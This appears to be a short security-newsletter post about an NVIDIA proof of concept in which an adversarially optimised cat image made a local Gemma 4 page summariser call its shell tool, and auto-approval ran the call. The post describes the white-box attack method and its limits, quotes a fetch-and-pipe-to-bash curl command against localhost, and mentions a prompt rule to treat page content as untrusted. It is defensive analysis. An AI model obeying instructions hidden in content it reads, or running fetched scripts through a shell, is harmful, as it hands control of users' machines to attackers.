> status: mostly fine. patch anyway.practical AI security · est. 2026

Calm down. · Builders

Calm down: a cat picture didn't hack an AI assistant. Auto-approve did.

By alkizz ·

On Nov 25, NVIDIA researcher Daniel Teixeira published a proof of concept in which a doctored cat photo on a web page made a local AI page summarizer call a shell command, and the app ran it. It's a great headline. NVIDIA's own takeaway is the less exciting and more useful one: "Automatic approval allowed the command to run; a separate permission check blocked the same request." NVIDIA sells the chips and AI software that assistants like this run on, but the post is research and doesn't pitch a product.

What they built

The test app reads a page, pulls out its title, visible text and first image, and asks google/gemma-4-E4B-it, an open-weight Gemma 4 model, to "Read this web page and provide a concise summary of its visible content." The app also hands the model a built-in run_shell_command tool. With the clean cat image, the model wrote a one-sentence summary. With an adversarially optimized version of the same image, and nothing else changed, it called the shell tool with curl http://localhost:1337/run.sh | bash, the app approved the call automatically, and Bash ran it. The script was harmless. It came from a server on the same machine, wrote a marker file, and the test harness cleaned it up. It happened in 21 of 21 runs.

The team built the image with full access to the model's weights, nudging pixel values over a few hundred rounds until every piece of the command was the model's top pick. No value moved more than 16 steps out of 255, but NVIDIA says the change is visible. Two checks point at the tool rather than the picture. Scrambling the same changes into random positions got a normal summary, and so did removing the shell tool from the prompt. In NVIDIA's words, "The image didn't give the model a new ability. It pushed the model toward a tool the app was already offering."

Why it's narrow

NVIDIA is careful about what this doesn't show. It's a white-box attack on one model checkpoint, one page, one prompt and one target command, using the exact PNG loaded from a local page. The team didn't test a remote website, a phone, a quantized or unknown model, browser re-encoding or screenshots, and didn't show the image working across model versions. The app would accept only one preselected command, so, as NVIDIA puts it, "This is not evidence of arbitrary command execution." Ordinary images aren't about to take over your assistant.

The part that isn't calm

The app's prompt already told the model to treat page content as untrusted and to skip tools unless the task needed them. The image got past that anyway, which tells you a prompt isn't a lock. What stopped the same request was a hardened policy in the app's code, which refused it because untrusted page content can't authorize a shell tool. That's the real bug: an app that treats any well-formed tool call as permission. If your agent auto-approves tool calls while it reads the internet, nobody needs a gradient-optimized cat to exploit it. Plain hidden instructions will do.

What to do

Sources

← All briefs